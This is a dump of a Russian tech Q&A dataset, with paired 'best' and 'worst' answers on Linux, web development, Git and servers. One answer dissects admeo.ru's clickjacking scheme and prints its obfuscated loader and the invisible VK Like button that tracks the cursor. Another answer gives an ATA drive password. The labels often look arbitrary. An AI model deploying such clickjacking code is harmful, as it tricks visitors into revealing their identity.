Vikhrmodels/habr_qa_sbs huggingface dataset:
Вопрос: Как перейти на linux front-end разработчику?

Лучший ответ:
Очень хорошее начало, давайте определимся. 
1) Нужен дистрибутив, который достаточно легко ставится, имеет большое комьюнити, достаточную документацию
2) Дистибутив должен обладать как клиентским вариантом, так и серверным
3) Дистрибутив должен быть известен и широко распространен
4) Иметь все необходимое для разработки
5) Поддерживаться производителями и разработчиками стороннего ПО (а есть и такие)!
По хорошему, данным целям отвечают всего два дистрибутива и их клоны - RedHat и Debian. Дистирубивы на первый взгляд достаточно сильно различаются настройками и установкой софта, но внутри белее или менее похожи.
Из Debian и его клонов рекомендую Ubuntu, именно для неё сейчас самая лучшая документация (и на русском), поддержка и комьюнити, а сам дистрибутив включает в себя все свеженькое и новенькое в плане поддержки железа и новых версий софта.
- www.ubuntu.com
Из RedHat и его клонов настоятельно рекомендую CentOS как клиент/серверную платформу - документация, поддержка железа комьюнити.
- www.centos.org
Оба дистрибутива бесплатные, более чем полностью.
PS. Наверное здесь сейчас будут предлагать кучу экзотики - не ведитесь на это! Учиться ездить нужно на простых автомобилях, а не на тюнингованных. Да и эти дистрибутивы (RedHat/Debian) именно мейнстирм, в которых все вылизано и просто работает.

Худший ответ:
Ставьте Ubuntu - врядли с ней кто-то сравнится по количеству разжеванной базовой информации на первых страницах поиска, что очень важно по-началу
И пробуйте, пробуйте... Сам давно трижды ставит и забивал на линукс, пока не появились задачи, которые без юникса никак. Если искуственно пробовать "разбираться в линуксе", то, скорей всего, желание быстро отпадет
Книги врядли нужны. Пробуте поставить LAMP стэк. Купить дешевый VPS и настроить его по SSH для своих целей и т.д.
Вопрос: Как использовать сетку bootstrap без стилей bootstrap?

Лучший ответ:
Вам поможет getbootstrap.com/customize
Выбирайте только то, что вам нужно.

Худший ответ:
можно скачать исходники bootstrap-а и подключить только необходимое, например
variables.less, grid.less и при сборке у вас будет только то что вы включите.
если сложности с ручным добавлением, то aen дал ссылку на интерфейс для сборки
Вопрос: Очки для работы за монитором?

Лучший ответ:
барахло

Худший ответ:
Пиратские очки от Жданова :)
Вопрос: Система контроля и управления доступом?

Лучший ответ:
«доброе время суток»… все, дальше можно не читать

Худший ответ:
Есть даже специальный веб-сервис заточенный под учет времени. Смарт-карты поддерживает.cafe-manager.ru
Вопрос: Сколько людей на хабре?

Лучший ответ:
А там long long. Планеты не хватит.

Худший ответ:
достаточно попробовать самому ответить на этот вопрос) и сразу появляются дополнительные вопросы — что будет где? когда? с чем?
вот например, что будет если попросить php вывести число на единичку больше, чем int
>php -r «echo PHP_INT_MAX;»
2147483647

>php -r «echo PHP_INT_MAX + 1;»
2147483648

>php -r «echo (int)(PHP_INT_MAX + 1);»
-2147483648
Вопрос: Не работает очистка clearTimeout?

Лучший ответ:
Объявите idInterval за пределами анонимных функций, там-же, где var count = 0;

Худший ответ:
и reset и idInterval объявил глобально (дело не в этом). ClearTimeout все таки работает я думаю. Мне кажется проблем в том, что count обнуляется и потом по новой, а анимация все равно идет (2sec), не могу сообразить как сделать.
Вопрос: Есть ли бесплатные инструменты разработки под andorid?

Лучший ответ:
Есть же - Android Studio, бесплатный - https://developer.android.com/sdk/index.html , 
Есть Java SDK - www.oracle.com/technetwork/java/javase/downloads/j...
что ещё нужно?

Худший ответ:
Если C++, то NDK. Тоже всё бесплатно.
Вопрос: Как написать условие в ModX?

Лучший ответ:
Как вариант - делаете через модификаторы ввода-вывода, см. docs.modx.pro/system/the-basics/filters-input-and-...
Конкретно в вашем случае, как я понял, это для meta-тегов, то будет так:[[*description:ne=``:then=`<meta name="description" content="[[*description]]"/>`:else=`<meta name="description" content="[[*longtitle]]"/>`]]

Худший ответ:
Вдруг кто-то все еще не осилил азы и набредет сюда из гугла))
Можно еще удобнее:[[*description:ne=``:then=`<meta name="description" content="[[*description]]">`:else=`<meta name="description" content="[[*longtitle:default=`[[*pagetitle]]`]]">`]]
Будет использовано одно из трех полей в порядке убывания приоритета:поле descriptionполе longtitleполе pagetitle
Вопрос: JQuery Layout и модальные окна?

Лучший ответ:
Когда юзал, сталкивался с такой же проблемой. Точно не помню, но кажется нужно было вынести блок модала в контент, и проверить все позишены, т.к. ИЕ глючит без них. Могу ошибаться, сорри.

Худший ответ:
Можно сделать как пишет Fesor, но на вашем месте я бы переделал верстку. Потом с этим z-index в дебри зайдете и плеваться будете.
Вопрос: Windows 7 и DHCP

Лучший ответ:
Может я не понял вопроса, но почему в Win7 в свойствах сетевой карты не поставить статический ip. Разумеется из того диапазона, который установлен в настройках LAN в модеме (http://192.168.1.1/ обычно)

Худший ответ:
А что вы хотите добиться? Может, проще навсегда прописать конкретный IP по MAC-адресу?
Вопрос: Веб-разработка и выбор фреймворка/языка?

Лучший ответ:
Насколько понимаю, Ruby и Python близки по идеологии. Мультипарадигменные интерпретируемые языки со строгой динамической типизацией, широкими возможностями интроспекции. Ну, в Ruby синтаксис несколько посложнее.
Вам язык какой нравится больше? Чисто субъективно? На тот язык и фокусируйтесь.
Что касается Django, - это довольно простой в использовании фреймворк. Простая структура приложений, очень простая и удобная ORM (я вот после Django ORM с трудом и отплёвываясь разбирался с SQLAlchemy). В Django 1.7 ещё и миграции из коробки встроены. В общем, непонятно, чем Django показалась вам такой сложной.
По-моему, это вообще нормально. При изучении чего-то нового, иностранного языка или программной платформы, всегда наступает момент, когда трудно, утыкаешься носом в тупик и хоть брось. А вы не бросайте. Вопросы задавайте, коли что-то непонятно. Тогда и получится.

Худший ответ:
Возьмите PHP, без всяких фреймворков можно писать вполне сносные сайты, типа фейсбука )
Вопрос: Как подключить папку Bitcoin на другом диске?

Лучший ответ:
Создайте на рабочем столе ярлык на программу Bitcoin-QT, в свойствах ярлыка  пропишите -datadir=F:\Bitcoin. Запускайте кошелек только через этот ярлык.

Худший ответ:
Аналогичная проблема..была.
Не выгодное занятие в основном, поэтому решил вопрос сносом.
Вопрос: Как правильно: цифровая аналитика или веб-аналитика?

Лучший ответ:
скорее всего суть в том, что цифровая аналитика - это область знаний, охватывающая анализ в контексте цифровых технологий современной цивилизации (все что работает на транзисторах, использует булевую алегбру, все то к чему применима дискретная математика), от сотовых телефонов до веб-технологий, ну а веб-аналитика - это как раз частность из обширной области всех технологий

Худший ответ:
Выскажу предположение, что на Западе цифровая аналитика уже вышла за рамки веба и включает в себя аналитику приложений, как минимум. То есть цифровая аналитика -- объемлющая категория, веб-аналитика входит в нее как подраздел.
Вопрос: Субдомен или папка для регионов google?

Лучший ответ:
@pavvel2 зависит от организации Вашего сайта. Если он будет продвигаться по нескольким городам/регионам, то удобнее города или регионы выделить на поддомены вроде kiev.an.ua Отдельными городами продвигать сайты удобнее. Для ПС an.ua и kiev.an.ua это разные сайты. А в папках можете сделать районы городов, если у Вас в базе будет много недвижимости по разным районам города.Советовался со многими людьми работающими в сфере продвижения сайтов, мнения разделились 50/50, многие говорят что для гугл это раньше было важно а сейчас одинаков что на поддоменах что в папках?Раньше это было лазейкой для продвижения, но было это оч давно. Сейчас релевантность имени домена играет роль, но не настолько важную как раньше, параметров которые поисковики сейчас учитывают при ранжировании сотни. Гораздо важнее с какой скоростью грузится Ваш сайт и насколько хорошо оптимизирован его код и текст, с доменами особо не заморачивайтесь, делайте как Вам удобнее!

Худший ответ:
Обычно делят по следующим признакам:
fastov.an.ua - это отдельный проект, не имеющий отношения к an.ua просто он хостится на этом домене
а an.ua/fastov - это проект внутри an.ua с которым они обычно пересекаются по тематике или направлению бизнеса
Вопрос: Пакетное форматирование исходников (php/html/js + mix)?

Лучший ответ:
Если форматирование NetBeans Вас устраивает, то плагин "Format Files" как раз то, что Вы ищите.

Худший ответ:
если NB не устраивает, может стоит попробовать IDEA или ещё «php-версии» PhpStorm?
Вопрос: Будет ли интересена статья-винигрет с рецептами по деланию всякого-разного в Linuxах?

Лучший ответ:
Хотя бы с краткой аннотацией как оно работает. Если это будет пост-сборник «заклинаний», то он будет менее интересен.

Худший ответ:
Ну фиг знает как оно будет в виде статьи… Если красиво подать то может и полезно, а так надо оформлять в виде wiki или блогозаписи.
Вопрос: Какие меры защиты аккаунта применить, если недоступно прикрепить мобильный?

Лучший ответ:
С точки зрения разработчика сайта или с точки зрения пользователя?
1) С точки зрения пользователя: поставить длинный сложный пароль который нигде более не используется, записать его на бумажке, бумажку сжечь, пепел развеять.
С точки зрения разработчика: вариантов куча.
2) Прикрепленный номер таки всегда можно восстановить. Если номер не привязан к паспорту - ну пользователь сам идиот.

Худший ответ:
генератор одноразовых кодов
Вопрос: На каком web ресурсе лучше задавать вопросы касательно фундаментальных, естественных и технических наук?

Лучший ответ:
Вообще, за основу системы тегов Тостера был взят рубрикатор с Хабра - именно он и там и тут очерчивает (с некоторой погрешностью) направленность проектов. Так вот, хаб "Математика" на Хабре есть, а значит и тег "Математика" тут - думаю, никто не будет против обсудить возникаемые математические вопросы.
Но вопросы "Pss парни, помогите решить систему уравнений, я на последней пересдаче на матане!" будут выпиливаться.

Худший ответ:
Если хорошо владеете английским, обратите внимание на группу сайтов stackexchange. Там достаточно большое коммьюнити и подсайты в круге ваших интересов имеются. Поищите здесь: stackexchange.com/sites
Вопрос: Как настроить автоматическое обновление страницы при написании HTML кода?

Лучший ответ:
Sublime и автообновление страницы в браузере. Как сделать?

Худший ответ:
в нетбинсе так, при сохранении файла отображаются изменения на странице
Вопрос: Квадрокоптер-смертник

Лучший ответ:
Вы так рассуждаете, будто у вас С4 можно в Ашане купить, и только отсутствие квадрокоптеров до сих пор останавливало экстремистов! :)

Худший ответ:
Для дистанционного заброса куда-либо можно использовать старую добрую катапульту. Плюс в том, что можно загрузить достаточно много.
Вопрос: Проверка дисков из RAID?

Лучший ответ:
Вытаскиваем диски по одному, и сканим на другом компе тем же MHDD.

Худший ответ:
Сам разобрался:
Надо перед проверкой секторов снять ATA пароль. Для Seagate это слово Seagate и 25 пробелов.
Вопрос: Ресурсы, где можно выучить python?

Лучший ответ:
Например курс на степике: https://stepic.org/course/%D0%9F%D1%80%D0%BE%D0%B3...

Худший ответ:
Лучше всего выучить питон дома, я считаю: мягкий диван, стены помогают... Из книг - Thinking Python.
Вопрос: Git, как обновить проект ?

Лучший ответ:
Если вы хотите обновить у себяgit pull
Если вы хотите залить изменения на удаленный git-репозиторийgit push

Худший ответ:
Может быть git pull
Вам поможет?
Вопрос: Правильное оформление вызова javascript-функций

Лучший ответ:
Верно — это когда работает, если тебя интересует техника Unobtrusive Javascript, то советую подучить DOM, начиная со второго уровня, там описанны события. Есть свои тонкость и камни, например нестандартная имплементация в Microsoft Internet Explorer. Но ещё раз повторюсь: правельно и верно — это когда всё работает, а как ты это сделал никому не интересно!

Худший ответ:
наиболее верно описывать элементы селекторами и вешать обработчики
Вопрос: Где почитать статистику по интернету в России?

Лучший ответ:
Средние цифры это как температура по больнице. Вам лучше взять цифры любого реально существующего провайдера, пусть даже небольшого. Если нет в открытом доступе - можно просто обзвонить несколько некрупных провайдеров, рассказать о своем дипломе и попросить эти цифры.  По мне реальные а не статистические данные в дипломе выглядят в разы значимей.
Единственно - именно звоните а не пишите письма и тп. При живом общении отказывают реже.

Худший ответ:
Не думаю, что где-либо будет предоставлена данная информация в полном объеме. Относительно того у кого телевизоры с IPTV легче предположить, ну или взять на основе одного магазина электроники(поговорив с менеджером узнать сколько было продано товара данной категории). Приблизительно интернет сейчас весьма распространен в нашем государстве, и по данным рос.стата охват составляет приблизительно 50 - 55% (учитывались лица старше 18 лет), так что можно мело писать, что половина России охвачена WWW.
Вопрос: Как сверстать такой уголок?

Лучший ответ:
Накалякал тут на коленке.
Не кроссбаузерно, не красиво, половина хардкодово. Допиливайте сами.

Худший ответ:
) я рисовал png средней ширины, и потом сжимал или расширял на фоне… разница в 5-10px не бросалась в глаза
Вопрос: Как admeo.ru узнает номер телефона?

Лучший ответ:
Clickjacking
О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.
1. В коде есть скрипт, буквально бросающийся в глаза:<script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>
2. Декодируем:(function(b,c){setTimeout(function(){
var a=document,f=a.getElementsByTagName("script")[0],
s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");
3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:<html>
<head></head>
<body onclick="admeoVk.click()">
<div id="vk_api_transport"></div>
<div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
<div id="myvklogin"></div>
<script language="JavaScript">
    var admeoParams = {
        token: 'edb42a81873185696ac52e2bb4bf6eea',
        apiUrl: 'http://admeo.ru/',
        appId: 4906527,
        host: 'admeo.ru',
        siteId: 15,
        cName: 'amuid'
    };

    (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
            (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
        m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
</script>
</body>
</html>Странное решение оставить cursor:pointer!important...
4. static.admeo.ru/assets/core/_vk.js
5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:window.onmousemove = function(e){
    document.querySelector('#cwvkid').style.left = e.pageX - 70;
    document.querySelector('#cwvkid').style.top = e.pageY - 12;
};

Худший ответ:
Видимо у них какие то специальные алгоритмы для определения номера посетителя, может быть как то через социальные сети.
Вопрос: Что будет, если завершить процесс?

Лучший ответ:
1. Вероятно, Ваш mysql-сервер неверно настроен. Попробуйте отрегулировать параметры query_cache_size, key_buffer_size и innodb_buffer_pool_size.
2. Если убить процессы - есть большая вероятность, что повредятся таблицы и придется их восстанавливать. Не всё может восстановиться.

Худший ответ:
1. Вероятно, Ваш mysql-сервер неверно настроен. Попробуйте отрегулировать параметры query_cache_size, key_buffer_size и innodb_buffer_pool_size.
2. Если убить процессы - есть большая вероятность, что повредятся таблицы и придется их восстанавливать. Не всё может восстановиться.
Вопрос: Как избавиться от Bruteforce атак?

Лучший ответ:
Для WordPress существуют плагины, которые делают именно это, например.

Худший ответ:
1. Создавать сложные пароли. Сложный пароль очень легко запомнить, но для прямого перебора нужно работать в АНБ США. Пример такого пароля "ДоитьКозуНаПоле987раз"
2. Создать анализатор запроса. Если запрос к авторизации от одного хоста повторяется, вставлять паузу на ответ. При каждой попытке паузу удваивать.
Мне как раз такой сценарий помог. Правда не на ВордПресс.
Вопрос: Возможно ли повторять произвольный прямоугольник из спрайта?

Лучший ответ:
В CSS3 можно написать background: url(image.jpeg#xywh=10,10,20,20) repeat-x 0 0; или вроде того, и он возьмет кусок картинки и будет ее повторять. Я угадал ваш сон?

Также, есть свойство (которое все производители браузеров поддерживают по-разному и которым вообще невозможно пользоваться) border-image, которое позволяет разрезать картинку на 9 частей и тянуть, чтобы получилась рамка.

Кстати, у меня ощущение, что css спрайты противоречат идеологии HTML/CSS и объединением картинок должен заниматься прикладной протокол, например HTTP. Потому, наверно, поддержки спрайтов так долго не было в CSS.

Худший ответ:
Вы об этом?
Вопрос: OpenID библиотека для PHP

Лучший ответ:
Используйте библиотеку от JanRain, она наиболее полная и стабильная, а помощь на русском языке можно получить на форуме openid Ивана Сагалаева.

Худший ответ:
Вот это я использую www.oneid.ru/info/openid-php/
Вопрос: Чем мониторить ресурсы сервера?

Лучший ответ:
cacti:
www.opennet.ru/base/net/traf_cnt_cacti.txt.html
wolandblog.com/366-otrisovyvaem-v-cacti-trafik-virtualnyx-xostov-apache/
noty.net/posts/52

nagios:
support.nagios.com/knowledgebase/faqs/

munin:
munin-monitoring.org/wiki/MuninExchangeIsDown

На хабре много статей на эти темы. Поищи один из тредов, там жаркие баталии на тему «что лучше».

Худший ответ:
Если вам один сервер мониторить, то подойдет serverstats. Легкая, не замороченная система
Вопрос: Как создать географическую карту наподобие 2gis?

Лучший ответ:
Мне кажется, в данном случае велосипедостроением заниматься не стоит:)
Есть известные сервисы, которым данные о вашем городе совсем не помешают. К тому же, Вы внесете неоценимый вклад в это хорошее дело.OSMНародная картаWikiMapia
И сервисы эти предлагают хорошие средства для встраивания карт, рисования на них, построения маршрутов и прочее.

Худший ответ:
2гис хорошо работает по франшизе, если вы готовы вкладывать обратитесь к нему, он продаст вам франшизу и покажет как и что делать  и будете получать прибыль.
Вопрос: Какой выбрать софт на замену TeamViewer?

Лучший ответ:
Стандартный RDP может подойдет?

Худший ответ:
попробуйте IDEAL Remote
www.pointdev.com/ru/ideal-remote/index.php
Вопрос: Почему overflow-x:hidden не срабатывает на мобильных?

Лучший ответ:
Так же, при установке не срабатывает:body {
      overflow-x: hidden;
}
Но при установке совместно с html - неожиданно сработалоhtml, body {
      overflow-x: hidden;
}

Худший ответ:
overflov-x:hidden - синтаксическая ошибка overflow и еще может мобильный браузер не знать overflow-x и еще используй просто body {
      overflow: hidden
 max-width: 100%
}
или смотря какую ширину нужно
Вопрос: Компьютерная реализация расписного (студенческого) покера?

Лучший ответ:
Судя по описанию, игра не обладает особо большой аудиторией («Скорее игра представляет собой упрощённую смесь преферанса и тысячи»).
Так что, реализовать ее не сложно, но никому не нужно. Что уж говорить, если у Преферанса реализаций — всего ничего.

Худший ответ:
В стиме было что-то по покеру, но смысла играть на фантики мало. Мы либо собираемся с друзьями, либо играю на пати покер в онлайне. Здесь можно поиграть в любое время. Я ещё никогда не встречал, чтобы не нашлось подходящих столов. Для любителей погамать за смартфоном можно скачать Пати Покер на Андроид. С моими навыками спокойно играю по 10-15 столов не теряя в винрейте.
Вопрос: Какие микросхемы/элементы использовать для измерения напряжения/тока/сопротивления?

Лучший ответ:
Грубо можно сказать так: измерять можно только напряжение, и делать это с помощью АЦП. 

Если надо измерить ток — пропускаем его через шунт и измеряем напряжение на шунте. 

Если надо померить сопротивление — пропускаем заранее известный ток и измеряем напряжение. Или подаём известное напряжение на 2 последовательных сопротивления (известное и неизвестное), и — опять же — измеряем напряжение на плече получившегося делителя.

Для очень больших или очень малых величин токов/сопротивлений/напряжений есть свои специфические методы, но, думаю, это не ваш случай.

Худший ответ:
Есть еще один интересный метод измерения сопротивления: можно последовательно с измеряемым сопротивлением включить емкость и подать на эту дифференцирующую цепь импульс. Напряжение с резистора можно подать на ногу ардуино, измерить длительность импульса и пересчитать ее в сопротивление. Точность невысокая, зато можно обойтись только I/O входами.
Вопрос: Какой максимальный размер должен быть у системного диска Windows 8?

Лучший ответ:
Под семерку я под системный выделял 100 гб. Можно 150, чтобы туда влезло все. Остальную часть разбивал под данные.
Полезно в том случае, если нормально можешь организовать свое рабочее пространство так, чтобы документы и важные файлы лежали не где попало, а на отдельном диске. Тогда при переустановке системы, можно смело форматировать системный диск, без страха что-либо потерять.

Худший ответ:
Обычно 100-150 системный, остальное по желанию. 2х500 ничего плохо не произойдет, все будет работать
Вопрос: Как заставить работать вконтактовский Open API в 6-ом и 7-ом IE

Лучший ответ:
Павел, перелогинься

Худший ответ:
Еще вопрос, как можно пользоваться 6м или 7м IE?
Вопрос: Удобнейший способок получить итемсы для дропдауна в Yii2?

Лучший ответ:
public static function getList()
    {
        return static::find()
            ->select(['name', 'id'])
            ->indexBy('id')
            ->asArray()
            ->column();
    }
asArray() - возвражает данные как обычный масив, помагает секаномить на памяти и немного быстрее отрабатывает.
column() - возврашает первую калонку name т.к. она бедет первой select(['name', 'id']) 
indexBy('id') - расставляет правильные ключи

Худший ответ:
public static function getList()
    {
        return static::find()
            ->select(['name', 'id'])
            ->indexBy('id')
            ->asArray()
            ->column();
    }
asArray() - возвражает данные как обычный масив, помагает секаномить на памяти и немного быстрее отрабатывает.
column() - возврашает первую калонку name т.к. она бедет первой select(['name', 'id']) 
indexBy('id') - расставляет правильные ключи
Вопрос: Какая вероятность угадать ответы?

Лучший ответ:
было бы круто, если бы вы домашнее задание выполняли самостоятельно) 
Погуглите про условную вероятность и теорему умножения...там всё достаточно понятно.

Худший ответ:
Вероятность угадать ответ в 1 вопросе - 0,25 (1/4)
Общая вероятность = умножение всех вероятностей т.е. 0,25*0,25*....0,25 (всего 40 раз)
Результат = 0,0000000000000000000000000827180612553
Вопрос: Бесплатный проект для портфолио превратился в бесконечный. Как быть?

Лучший ответ:
Вариант 1 - послать и забыть.
Вариант 2 - переводить из бесплатного в платный.
Базовый функционал есть? Есть
Клиент уже доволен? Доволен
Пора платить деньгу, а так он почувствовал халяву и не слезет с вас.

Худший ответ:
Завершить текущие задачи и ничего не делать, что не входит в договор. Завершите, получите оплату, выложите в портфолио. Дальше уже по обстоятельствам.